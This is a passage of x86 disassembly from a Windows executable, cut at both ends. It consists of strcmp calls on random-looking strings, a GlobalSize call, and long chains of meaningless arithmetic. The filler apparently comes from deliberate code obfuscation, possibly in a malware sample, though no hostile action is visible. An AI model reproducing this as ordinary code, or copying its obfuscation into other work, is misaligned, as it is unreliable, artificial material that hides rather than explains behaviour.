mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.blksgzpxwm]
mov dword [esp + 0x4ef], eax
mov eax, dword [0x437bd4]
mov dword [esp + 0x4f3], eax
mov ax, word [0x437bd8]
mov word [esp + 0x4f7], ax
mov al, byte [0x437bda]
mov byte [esp + 0x4f9], al
lea ecx, [esp + 0x4ef]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.dwbrgk
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40449e
mov eax, dword [0x44122c]
lea ecx, str.dwbrgk___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.quwph]
mov dword [esp + 0x4e9], eax
mov ax, word [0x437bf1]
mov word [esp + 0x4ed], ax
lea ecx, [esp + 0x4e9]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.szeuhyofl
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4044ef
mov eax, dword [0x44122c]
lea ecx, str.szeuhyofl___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffff9
jg 0x40450d
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov eax, dword [esp + 0x6ec]
mov dword [esp + 0x4e4], eax
mov eax, dword [esp + 0x4e4]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.004017f0
mov dword [esp + 0x4e0], eax
cmp dword [esp + 0x4e0], 0
jne 0x40454c
jmp 0x40949b
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffe
jge 0x40457a
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x4dc], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x4d8], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x4d4], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x4d0], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x4cc], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x4c8], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x4c4], eax
mov eax, dword [esp + 0x4cc]
cmp eax, dword [esp + 0x4c4]
jg 0x40460c
mov eax, dword [esp + 0x4d8]
add eax, dword [esp + 0x4dc]
mov dword [esp + 0x4c4], eax
mov eax, dword [esp + 0x4c4]
cmp eax, dword [esp + 0x4dc]
jl 0x404635
mov eax, dword [esp + 0x4dc]
add eax, dword [esp + 0x4dc]
mov dword [esp + 0x4d4], eax
mov eax, dword [esp + 0x4cc]
imul eax, dword [esp + 0x4cc]
mov dword [esp + 0x4cc], eax
mov eax, dword [esp + 0x4dc]
cmp eax, dword [esp + 0x4d4]
jg 0x404674
mov eax, dword [esp + 0x4dc]
add eax, dword [esp + 0x4d8]
mov dword [esp + 0x4dc], eax
mov eax, dword [esp + 0x4dc]
imul eax, dword [esp + 0x4c4]
mov dword [esp + 0x4d0], eax
mov eax, dword [esp + 0x4dc]
cmp eax, dword [esp + 0x4cc]
jl 0x4046b3
mov eax, dword [esp + 0x4cc]
add eax, dword [esp + 0x4d4]
mov dword [esp + 0x4d4], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x4dc]
add eax, dword [esp + 0x4d8]
add eax, dword [esp + 0x4d4]
add eax, dword [esp + 0x4d0]
add eax, dword [esp + 0x4cc]
add eax, dword [esp + 0x4c8]
add eax, dword [esp + 0x4c4]
mov dword [0x44122c], eax
mov eax, dword [str.oxyng]
mov dword [esp + 0x4be], eax
mov ax, word [0x437c0f]
mov word [esp + 0x4c2], ax
lea ecx, [esp + 0x4be]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.pejbqeupk
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40473f
mov eax, dword [0x44122c]
lea ecx, str.pejbqeupk___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffff9
jge 0x404763
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 0xa
mov dword [esp + 0x4dc], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x4d8], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x4d4], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x4d0], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x4cc], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x4c8], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x4c4], eax
mov eax, dword [esp + 0x4d8]
imul eax, dword [esp + 0x4dc]
mov dword [esp + 0x4d4], eax
mov eax, dword [esp + 0x4d0]
cmp eax, dword [esp + 0x4d4]
jl 0x40480b
mov eax, dword [esp + 0x4d0]
add eax, dword [esp + 0x4d0]
mov dword [esp + 0x4d4], eax
mov eax, dword [esp + 0x4dc]
cmp eax, dword [esp + 0x4dc]
jg 0x404834
mov eax, dword [esp + 0x4dc]
add eax, dword [esp + 0x4cc]
mov dword [esp + 0x4d8], eax
mov eax, dword [esp + 0x4d4]
imul eax, dword [esp + 0x4dc]
mov dword [esp + 0x4c8], eax
mov eax, dword [esp + 0x4c8]
cmp eax, dword [esp + 0x4dc]
jg 0x404873
mov eax, dword [esp + 0x4cc]
add eax, dword [esp + 0x4d4]
mov dword [esp + 0x4cc], eax
mov eax, dword [esp + 0x4d4]
cmp eax, dword [esp + 0x4d8]
jl 0x40489c
mov eax, dword [esp + 0x4c4]
add eax, dword [esp + 0x4d0]
mov dword [esp + 0x4c4], eax
mov eax, dword [esp + 0x4c8]
cmp eax, dword [esp + 0x4c8]
jl 0x4048c5
lea esp, [ebp - 4]
pop esi
pop ebp
ret